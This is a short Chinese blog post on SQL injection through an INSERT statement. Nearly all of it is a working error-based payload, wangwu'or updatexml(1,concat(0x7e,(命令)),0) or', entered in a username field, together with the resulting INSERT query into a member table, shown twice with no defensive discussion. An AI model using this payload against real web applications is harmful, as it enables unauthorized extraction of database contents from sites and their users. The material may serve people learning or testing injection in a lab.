insert注入:
insert into member(username,pw,sex,phonenum,email,address) values('wangwu'or updatexml(1,concat(0x7e,(users())),0) or'',md5('a'),'a','aa','a','a')
在用户名输入:
payload
wangwu'or updatexml(1,concat(0x7e,(命令)),0) or'
insert into member(username,pw,sex,phonenum,email,address) values('wangwu'or updatexml(1,concat(0x7e,(users())),0) or'',md5('a'),'a','aa','a','a')
wangwu'or updatexml(1,concat(0x7e,(命令)),0) or'
本文标题:SQL注入之insert注入
本文链接:https://www.haomeiwen.com/subject/yunayqtx.html
网友评论